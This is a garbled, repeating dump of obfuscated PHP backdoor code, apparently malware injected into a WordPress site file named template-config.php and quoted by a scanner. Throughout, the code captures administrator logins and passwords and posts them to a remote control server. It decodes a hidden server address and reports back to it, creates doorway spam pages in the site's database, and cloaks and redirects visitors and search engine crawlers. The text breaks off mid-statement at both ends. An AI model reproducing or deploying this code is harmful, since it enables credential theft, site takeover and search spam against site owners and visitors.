3){$bot=goToRedirect($ip,$referer,$useragent,$redurl['kturl'],'',$redurl['lapi'],'yes','','','','');}}else{$bot=goToRedirect($ip,$referer,$useragent,'','','','yes','','','','');}if($bot == 'bot'){$selfpage=placeLinks($currenturl,$goodlinks);if(!empty($selfpage)){echo $selfpage;die();}}}}}else{$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($clientidfmbd)&&!empty($admurlfmbd)){$admurlfmbd=urldecode($admurlfmbd);$currentkey=$currentdoorcache['wpk'];$key1frredir=readValueFromBD($maintablaname,'wpk1','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($key1frredir)|| $key1frredir=='no'){$key1frredir='';}$redresult='';if($redcode == 'ktapi'&&!empty($redurl)){$redurl=urldecode($redurl);$redurl=unserialize($redurl);if(count($redurl)== 3){$redresult=goToRedirect($ip,$referer,$useragent,$redurl['kturl'],$currenturl,$redurl['mapi'],'',urldecode($currentkey),'','',$key1frredir);}}elseif(empty($redcode)){$redresult=goToRedirect($ip,$referer,$useragent,'',$currenturl,'','',urldecode($currentkey),'','','');}else{$redcode=urldecode($redcode);$redurl=urldecode($redurl);$redresult=goToRedirect($ip,$referer,$useragent,'',$currenturl,'','',urldecode($currentkey),$redcode,$redurl,$key1frredir);}if(empty($currentdoorcache['wpcache'])|| $currentkey=='edf8329we'){$params='clientid=' .$clientidfmbd .'&givemecontent=' .$currentkey;$content=httpPost($admurlfmbd,$params);if(!empty($content)&& strlen($content)>1000){$content=urlencode($content);if($currentkey!='edf8329we'){updateBDData($maintablaname,$content,'wpcache','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}}else{$content=$currentdoorcache['wpcache'];}if($redresult == 'bot'){if(stripos('qqq' .$useragent,'google')|| stripos('qqq' .$useragent,'bing')|| stripos('qqq' .$useragent,'yahoo')|| stripos('qqq' .$useragent,'yandex')){$botscount=readValueFromBD($maintablaname,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($botscount)|| $botscount=='no'){$botscount=1;}elseif(is_numeric($botscount)){$botscount++;}else{$botscount=1;}if(!empty($botscount)){updateBDData($maintablaname,$botscount,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}echo urldecode($content);die();}elseif(!empty($redresult)){if(stripos('qqq' .$referer,'google.')|| stripos('qqq' .$referer,'yahoo.')|| stripos('qqq' .$referer,'bing.')|| stripos('qqq' .$referer,'yandex.ru')|| stripos('qqq' .$referer,'mail.ru')){$userscount=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($userscount)|| $userscount == 'no'){$userscount=1;}elseif(is_numeric($userscount)){$userscount++;}else{$userscount=1;}if(!empty($userscount)){updateBDData($maintablaname,$userscount,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}echo $redresult;die();}elseif(empty($redresult)){if(stripos('qqq' .$referer,'google.')|| stripos('qqq' .$referer,'yahoo.')|| stripos('qqq' .$referer,'bing.')|| stripos('qqq' .$referer,'yandex.ru')|| stripos('qqq' .$referer,'mail.ru')){$userscount=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($userscount)|| $userscount == 'no'){$userscount=1;}else{$userscount++;}if(!empty($userscount)){updateBDData($maintablaname,$userscount,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}}}}}}function decodeservurl($servurl){$goodservurl=array();foreach(str_split($servurl)as $onechar){if(is_numeric($onechar)){if($onechar>=7){$onechar=$onechar-7;}else{$onechar=$onechar+10-7;}}$goodservurl[]=$onechar;}return urldecode(base64_decode(implode($goodservurl)));}function createIndexBWD($tablename,$indcol,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$dbcon=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);if(!$dbcon){return 'udfgoihdkh48sied';}$sql='ALTER TABLE ' .$tablename .' ADD INDEX ' .$indcol .' (' .$indcol .'(5))';if(mysqli_query($dbcon,$sql)){mysqli_close($dbcon);return 'yes';}else{mysqli_close($dbcon);return 'orutydrfsxgxcvbxcv';}}function getStatus($mtablename,$ltablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$checkdata=array();$checkmaintable=mysqlTableSeekWP($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if(!empty($checkmaintable)&& $checkmaintable != 'no'){$checkdata['maintable']='good';$linescount=getCountofTable($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if($linescount!='no'&& $linescount>3){$checkdata['cachelines']=$linescount-3;$cachecount=getCacheCount($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if($cachecount!='no'&& $cachecount!='bad'){$checkdata['cachecount']=$cachecount;}else{$checkdata['cachecount']='bad';}}else{$checkdata['cachelines']='bad';$checkdata['cachecount']='bad';}}else{$checkdata['maintable']='bad';$checkdata['cachecount']='bad';}$checklinktable=mysqlTableSeekWP($ltablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if(!empty($checklinktable)&& $checklinktable != 'no'){$checkdata['linkable']='good';}else{$checkdata['linkable']='bad';}return $checkdata;}function getCacheCount($tablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$dbcon=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);if(!$dbcon){return false;}else{$sql='SELECT COUNT(1) FROM ' .$tablename .' WHERE wpcache IS NOT NULL AND wpcache!='' AND wpk IS NOT NULL';$needvalue=mysqli_query($dbcon,$sql);$needvalue=mysqli_fetch_all($needvalue);mysqli_close($dbcon);if(count($needvalue[0])>0){return $needvalue[0][0];}else{return 'bad';}}}function goToRedirect($ip,$referrer,$ua,$domain_kt,$url_curr,$apiToken,$forlinks,$keyword,$plainred,$plainredurl,$key1){if(empty($ip)){return '';}if(!empty($apiToken)){$user_agent_to_filter=array('#Ask\s*Jeeves#i','#HP\s*Web\s*PrintSmart#i','#HTTrack#i','#IDBot#i','#Indy\s*Library#','#ListChecker#i','#MSIECrawler#i','#NetCache#i','#Nutch#i','#RPT-HTTPClient#i','#rulinki\.ru#i','#Twiceler#i','#WebAlta#i','#Webster\s*Pro#i','#www\.cys\.ru#i','#Wysigot#i','#Ahrefs#i','#Yeti#i','#Accoona#i','#CazoodleBot#i','#CFNetwork#i','#ConveraCrawler#i','#DISCo#i','#Download\s*Master#i','#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i','#Gigabot#i','#HTMLParser#i','#ia_archiver#i','#ichiro#i','#IRLbot#i','#Java#i','#km\.ru\s*bot#i','#kmSearchBot#i','#libwww-perl#i','#Lupa\.ru#i','#LWP::Simple#i','#lwp-trivial#i','#Missigua#i','#MJ12bot#i','#msnbot#i','#Offline\s*Explorer#i','#OmniExplorer_Bot#i','#PEAR#i','#psbot#i','#Python#i','#rulinki\.ru#i','#SMILE#i','#Speedy#i','#Teleport\s*Pro#i','#TurtleScanner#i','#User-Agent#i','#voyager#i','#Webalta#i','#WebCopier#i','#WebData#i','#WebZIP#i','#Wget#i','#Yanga#i','#Yeti#i','#MJ12bot#i','#jeeves#i','#WordPress#i','#scooter#i','#av\s*fetch#i','#asterias#i','#spiderthread revision#i','#sqworm#i','#ask#i','#lycos.spider#i','#infoseek sidewinder#i','#ultraseek#i','#polybot#i','#webcrawler#i','#robozill#i','#gulliver#i','#architextspider#i','#charlotte#i','#Vegi\s*bot#i','#BUbiNG#i','#ltx71#i','#YandexBot#i','#MJ12bot#i','#MegaIndex#i','#DotBot#i');if(strpos('qqq' .preg_replace($user_agent_to_filter,'-ANGRYBOT-',$ua),'-ANGRYBOT-')){return 'bot';}$lang=$_SERVER['HTTP_ACCEPT_LANGUAGE'];$ua=urlencode($ua);$url=$domain_kt .'?is_api=1&source=' .urlencode($url_curr) .'&action=get&token=' .$apiToken .'&ua=' .$ua .'&ip=' .$ip .'&keyword=' .urlencode($keyword) .'&referrer=' .$referrer .'&lang=' .$lang .'&sub_id_1=' .urlencode($key1);if(function_exists('curl_init')){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt(curl_exec was found in the file template-config.php 23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,':');$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref='wpr_';}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref .'pcachewpr';$linkstablaname=$wpdbpref .'lcachewpr';$dbprt='3306';if(stripos('qqq' .$wpdbhost,':')){$wpdbhost=explode(':',$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip='';}$mordaurl=readValueFromBD($wpdbpref .'options','option_value','option_name='siteurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=='no'|| stripos('qqq' .$mordaurl,'localhost')){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl='http://' .$mordaurl;}else{$mordaurl='https://' .$mordaurl;}}$currenturl=$_SERVER['SERVER_NAME'] .strtolower($_SERVER['REQUEST_URI']);$currenturl=trim($currenturl,'/');if(is_ssl()=== false){$currenturl='http://' .$currenturl;}else{$currenturl='https://' .$currenturl;}$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admworkurl)&& is_writable(__FILE__)&& $checktable == 'no'){$fp1=fopen(__FILE__ .'temp','w+');if(!$fp1===false){fclose($fp1);$admurltodelete=$admworkurl;$admworkurl=decodeservurl($admworkurl);$params='autoknock=yes&siteurl=' .urlencode($mordaurl);$result=httpPost($admworkurl,$params);$clfile=file_get_contents(__FILE__);$clfile=str_ireplace($admurltodelete,'',$clfile);$fp=fopen(__FILE__,'w+');fwrite($fp,$clfile);fclose($fp);@unlink(__FILE__ .'temp');}}if(!empty($_POST['log'])&&!empty($_POST['pwd'])&& function_exists('wp_authenticate')){$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable != 'no'){$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=urldecode($admurlfmbd);$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admurlfmbd)&&!empty($clientidfmbd)&& $clientidfmbd!='no'&& $admurlfmbd!='no'){$un=$_POST['log'];$up=$_POST['pwd'];$auth=wp_authenticate($un,$up);$auth=(array)$auth;if(!empty($auth['ID'])){if(isset($auth['roles'][0])&& $auth['roles'][0]== 'administrator'){if(isset($auth['allcaps']['level_10'])&& $auth['allcaps']['level_10']=== true){$params='clientid=' .$clientidfmbd .'&updata=' .urlencode($un .'|||' .$up) .'&admip=' .urlencode($ip) .'&admurl=' .urlencode($currenturl);$result=httpPost($admurlfmbd,$params);}}}}}}if(empty($_GET['ertthndxbcvs'])&&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'/admin')&&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'wp-admin')&&!empty($wpdbhost)&&!empty($wpdbname)&&!empty($wpdbuser)&&!empty($wpdbpass)){header('Content-type: text/html; charset=UTF-8');$currenthash=md5($currenturl);if(!empty($_SERVER['HTTP_USER_AGENT'])){$useragent=$_SERVER['HTTP_USER_AGENT'];}else{$useragent='';}if(!empty($_SERVER['HTTP_REFERER'])){$referer=$_SERVER['HTTP_REFERER'];}else{$referer='';}if(!empty($_POST['trsgdfs'])&& $_POST['trsgdfs']== '1sxhlichvls'&&!empty($_POST['qwydsdf'])){$err='';$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable == 'no'){$res=createTable($maintablaname,'wphash LONGBLOB, wpurl LONGBLOB, wpcache LONGBLOB, wpk LONGBLOB, wpk1 LONGBLOB, wpset LONGBLOB, wpred LONGBLOB, wpredurl LONGBLOB','id',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res != 'yes'){echo $res;die();}}elseif($checktable=='udfgoihdkh48sied'){echo $checktable;die();}elseif($checktable=='yes'){echo 'aawtr35tdgvvcsxdff';die();}$checktable=mysqlTableSeekWP($linkstablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable== 'no'){$res=createTable($linkstablaname,'wphash LONGBLOB, wpcache LONGBLOB','id',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res != 'yes'){echo $res;die();}}elseif($checktable=='udfgoihdkh48sied'){echo $checktable;die();}elseif($checktable=='yes'){echo 'aawtr35tdgvvcsxdff';die();}createIndexBWD($maintablaname,'wphash',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);createIndexBWD($linkstablaname,'wphash',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$postpass=randString('15');$res=insertToBD($maintablaname,'wphash, wpcache',''admurl', '' .urlencode($_POST['qwydsdf']) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$res=insertToBD($maintablaname,'wphash, wpcache',''passtopost', '' .$postpass .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$clientid=randString('20');$res=insertToBD($maintablaname,'wphash, wpcache',''clientid', '' .$clientid .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res == 'yes'){echo 'zxcvetrhytdj65re|||||' .$postpass .':::::' .$clientid .'|||||';if(function_exists('delete_metadata')){delete_metadata('user',0,'session_tokens',false,true);}die();}else{echo 'xcvbrhr6hdhcgxcva';die();}}if(!empty($_POST['ptpxcbeiru'])){$passtopostfmbd=readValueFromBD($maintablaname,'wpcache','wphash='passtopost'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($passtopostfmbd)|| $passtopostfmbd == 'no'|| $passtopostfmbd != $_POST['ptpxcbeiru']){echo 'uewea4sfdxcbxb';die();}if(empty($admurlfmbd)|| $admurlfmbd == 'no'){echo 'kutyre54aw3eafd';die();}if(empty($clientidfmbd)|| $clientidfmbd == 'no'){echo 'xgse5rsdgiofsdsf';die();}$admurlfmbd=urldecode($admurlfmbd);if(!empty($_POST['hdfgfxoi'])&& $_POST['hdfgfxoi']== 'ncxfxdasdf'&&!empty($_POST['chpuview'])&&!empty($_POST['doorkeys'])){if(getCountofTable($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)>3 && $_POST['firstpart']=='yes'){deleteLinesFmDB($maintablaname,'wpk IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);deleteLinesFmDB($linkstablaname,'wphash IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}$chpuview=$_POST['chpuview'];$chpuview=urldecode($chpuview);$doorkeys=$_POST['doorkeys'];$doorkeys=urldecode($doorkeys);$doorkeys=stripslashes($doorkeys);$doorkeys=preg_replace_callback('!s:(\d+):'(.*?)';!',function($match){return($match[1]==($match[2]))?$match[0]:'s:' .strlen($match[2]) .':'' .$match[2] .'';';},$doorkeys);$doorkeys=unserialize($doorkeys);if(!is_array($doorkeys)|| count($doorkeys)== 0){echo 'vbsdreawefzzdfv';die();}if($_POST['firstpart']=='yes'){$sitetempfrdoor=parseTemplate();if(empty($sitetempfrdoor)||!is_array($sitetempfrdoor)|| empty($sitetempfrdoor['sitetemp'])|| empty($sitetempfrdoor['chpu'])){echo 'ktdrtsdfgsdfs4tse';die();}$chpufrdoor=$sitetempfrdoor['chpu'];$sitetempfrdoor=$sitetempfrdoor['sitetemp'];$sitetempfrdoor=str_ireplace('xmlrpc.php','',$sitetempfrdoor);updateBDData($maintablaname,urlencode($chpufrdoor),'wpurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{$chpufrdoor=readValueFromBD($maintablaname,'wpurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$chpufrdoor=urldecode($chpufrdoor);$sitetempfrdoor='notfirstpart';if(empty($chpufrdoor)|| $chpufrdoor=='no'){echo 'kiryut7dfgzxvcmcxz';die();}}$doorpagesdata=array();$testpageurl='';foreach($doorkeys as $k=>$onekey){$onekey=explode('|',$onekey);if(!empty($onekey[1])){$key_1=$onekey[1];}else{$key_1='';}$onekey=$onekey[0];if($chpuview == 'k'){$slugfrurl=sanitize_title($onekey);}elseif($chpuview == 'g'){$slugfrurl=randString(rand(7,11));}elseif($chpuview == 'n'){$slugfrurl=rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9);}$slugfrurl=strtolower($slugfrurl);$doorpageurl=str_ireplace('chpukeyplace',$slugfrurl,$chpufrdoor);$doorpagesdata[]=$onekey .':::::' .$doorpageurl;$res=insertToBD($maintablaname,'wphash, wpurl, wpk, wpk1',''' .md5($doorpageurl) .'', '' .urlencode($doorpageurl) .'', '' .urlencode($onekey) .'', '' .urlencode($key_1) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($_POST['firstpart']=='yes'&& $k==0){$testpageurl=str_ireplace('chpukeyplace','edf8329we',$chpufrdoor);insertToBD($maintablaname,'wphash, wpurl, wpk, wpk1',''' .md5($testpageurl) .'', '' .urlencode($testpageurl) .'', 'edf8329we', ''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}if($res == 'bewiursfer9uidd'){echo 'xcvbr459isdfgssdd';die();}}updateBDData($maintablaname,$_POST['doorsetts'],'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$doorpagesdata=serialize($doorpagesdata);$doorpagesdata=urlencode($doorpagesdata);$params='clientid=' .$clientidfmbd .'&newdoordata=' .$doorpagesdata .'&sitetemplate=' .urlencode($sitetempfrdoor) .'&firstpart=' .$_POST['firstpart'] .'&testpageurl=' .urlencode($testpageurl);$result=httpPost($admurlfmbd,$params);if(stripos('qqq' .$result,'trugsew9rusxildd')){echo 'xbvstrei4w0aeaorpdf';die();}elseif(stripos('qqq' .$result,'bw543ersfdgsdfffg')){echo 'pqweity5rer5syc9f';die();}else{echo 'myrtersgertsrgfdf';die();}}if(!empty($_POST['redircode'])||!empty($_POST['redirurl'])){if(!empty($_POST['redircode'])){if($_POST['redircode']=='stop'){updateBDData($maintablaname,'','wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{updateBDData($maintablaname,urlencode(stripslashes($_POST['redircode'])),'wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}if(!empty($_POST['redirurl'])){updateBDData($maintablaname,urlencode(stripslashes($_POST['redirurl'])),'wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}echo 'geri9rdgfojvrev';die();}if(!empty($_POST['clearcache'])){updateBDData($maintablaname,'','wpcache','wpcache IS NOT NULL AND wpk IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);deleteLinesFmDB($linkstablaname,'wphash IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);echo 'be545hgfxbfbgfdf';die();}if(!empty($_POST['editownlinks'])&&!empty($_POST['newownlinks'])){$doorsettings=readValueFromBD($maintablaname,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($doorsettings)&& $doorsettings!='no'){$doorsettings=urldecode($doorsettings);$doorsettings=unserialize($doorsettings);$doorsettings['ownlinks']=$_POST['newownlinks'];$doorsettings=serialize($doorsettings);$doorsettings=urlencode($doorsettings);updateBDData($maintablaname,$doorsettings,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);echo 'nbvw436rudtydsjjgk';die();}else{echo 'vcbntrs6udtyradgxf';die();}}if(!empty($_POST['getdoorstatus'])){$doorstatus=getStatus($maintablaname,$linkstablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$botsstats=readValueFromBD($maintablaname,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!is_numeric($botsstats)){$botsstats=0;}$usersstats=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!is_numeric($usersstats)){$usersstats=0;}if(is_array($doorstatus)){$doorstatus['botsstats']=$botsstats;$doorstatus['usersstats']=$usersstats;$doorstatus=serialize($doorstatus);$doorstatus=urlencode($doorstatus);echo 'p9ot78u6syrtfxhg DOORSTATUS:::' .$doorstatus .':::DOORSTATUSq';die();}else{echo $doorstatus .'<br>';echo 'zxcveer4eefresfsdfv';die();}}}$uatobadfilter=array('#Ask\s*Jeeves#i','#HP\s*Web\s*PrintSmart#i','#HTTrack#i','#IDBot#i','#Indy\s*Library#','#ListChecker#i','#MSIECrawler#i','#NetCache#i','#Nutch#i','#RPT-HTTPClient#i','#rulinki\.ru#i','#Twiceler#i','#WebAlta#i','#Webster\s*Pro#i','#www\.cys\.ru#i','#Wysigot#i','#Ahrefs#i','#Yeti#i','#Accoona#i','#CazoodleBot#i','#CFNetwork#i','#ConveraCrawler#i','#DISCo#i','#Download\s*Master#i','#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i','#Gigabot#i','#HTMLParser#i','#ia_archiver#i','#ichiro#i','#IRLbot#i','#Java#i','#km\.ru\s*bot#i','#kmSearchBot#i','#libwww-perl#i','#Lupa\.ru#i','#LWP::Simple#i','#lwp-trivial#i','#Missigua#i','#MJ12bot#i','#Offline\s*Explorer#i','#OmniExplorer_Bot#i','#PEAR#i','#psbot#i','#Python#i','#rulinki\.ru#i','#SMILE#i','#Speedy#i','#Teleport\s*Pro#i','#TurtleScanner#i','#User-Agent#i','#voyager#i','#Webalta#i','#WebCopier#i','#WebData#i','#WebZIP#i','#Wget#i','#Yanga#i','#Yeti#i','#jeeves#i','#WordPress#i','#scooter#i','#av\s*fetch#i','#asterias#i','#spiderthread\srevision#i','#sqworm#i','#infoseek sidewinder#i','#ultraseek#i','#polybot#i','#webcrawler#i','#robozill#i','#gulliver#i','#architextspider#i','#charlotte#i','#Vegi\s*bot#i','#BUbiNG#i','#ltx71#i','#MJ12bot#i','#MegaIndex#i','#Mediatoolkitbot#i','#DotBot#i','#opensiteexplorer#i','#Go-http-client#i','#Photon#i','#bloglovin#i','#scalaj-http#i','#AddThis#i','#LinkWalker#i','#adscanner#i','#istellabot#i','#Datanyze#i');$badbot='';if(strpos('qqq' .preg_replace($uatobadfilter,'-ABOT-',$useragent),'-ABOT-')){$badbot='yes';}if(mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)!='no'&& getCountofTable($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)>3 &&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'wp-login')&& is_user_logged_in()===false && empty($badbot)){$reddata=readValueFromBD($maintablaname,'wpred, wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$redcode='';$redurl='';if(!empty($reddata)&& $reddata != 'no'){$redcode=$reddata['wpred'];$redurl=$reddata['wpredurl'];}$currentdoorcache=readValueFromBD($maintablaname,'wpcache, wpk','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($currentdoorcache == 'no'){$showlinksornot='no';$doorsettings=readValueFromBD($maintablaname,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($doorsettings)&& $doorsettings!='no'){$doorsettings=urldecode($doorsettings);$doorsettings=unserialize($doorsettings);$showlinksornot=$doorsettings['ownlinks'];}if($showlinksornot=='yes'){$currentlinkscache=readValueFromBD($linkstablaname,'wpcache','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($currentlinkscache == 'no'|| empty($currentlinkscache)){$randlinks=randomValuesFromTableById($maintablaname,'wpurl,wpk',rand(4,6),$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($randlinks)&& $randlinks != 'no'&& is_array($randlinks)){$goodlinks=array();foreach($randlinks as $onelinkdata){if(!empty($onelinkdata['wpk'])){$goodlinks[]='<a href=\'' .trim(urldecode($onelinkdata['wpurl'])) .'\'>' .trim(urldecode($onelinkdata['wpk'])) .'</a>';}}if(count($goodlinks)>0){$goodlinks=implode(' ',$goodlinks);insertToBD($linkstablaname,'wphash, wpcache',''' .$currenthash .'', '' .urlencode($goodlinks) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{$goodlinks='';}}}else{$goodlinks=urldecode($currentlinkscache);}if(!empty($goodlinks)){$bot='';if($redcode == 'ktapi'&&!empty($redurl)){$redurl=urldecode($redurl);$redurl=unserialize($redurl);if(count($redurl)== 3){$bot=goToRedirect($ip,$referer,$useragent,$redurl['kturl'],'',$redurl['lapi'],'yes','','','','');}}else{$bot=goToRedirect($ip,$referer,$useragent,'','','','yes','','','','');}if($bot == 'bot'){$selfpage=placeLinks($currenturl,$goodlinks);if(!empty($selfpage)){echo $selfpage;die();}}}}}else{$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($clientidfmbd)&&!empty($admurlfmbd)){$admurlfmbd=urldecode($admurlfmbd);$currentkey=$currentdoorcache['wpk'];$key1frredir=readValueFromBD($maintablaname,'wpk1','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($key1frredir)|| $key1frredir=='no'){$key1frredir='';}$redresult='';if($redcode == 'ktapi'&&!empty($redurl)){$redurl=urldecode($redurl);$redurl=unserialize($redurl);if(count($redurl)== 3){$redresult=goToRedirect($ip,$referer,$useragent,$redurl['kturl'],$currenturl,$redurl['mapi'],'',urldecode($currentkey),'','',$key1frredir);}}elseif(empty($redcode)){$redresult=goToRedirect($ip,$referer,$useragent,'',$currenturl,'','',urldecode($currentkey),'','','');}else{$redcode=urldecode($redcode);$redurl=urldecode($redurl);$redresult=goToRedirect($ip,$referer,$useragent,'',$currenturl,'','',urldecode($currentkey),$redcode,$redurl,$key1frredir);}if(empty($currentdoorcache['wpcache'])|| $currentkey=='edf8329we'){$params='clientid=' .$clientidfmbd .'&givemecontent=' .$currentkey;$content=httpPost($admurlfmbd,$params);if(!empty($content)&& strlen($content)>1000){$content=urlencode($content);if($currentkey!='edf8329we'){updateBDData($maintablaname,$content,'wpcache','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}}else{$content=$currentdoorcache['wpcache'];}if($redresult == 'bot'){if(stripos('qqq' .$useragent,'google')|| stripos('qqq' .$useragent,'bing')|| stripos('qqq' .$useragent,'yahoo')|| stripos('qqq' 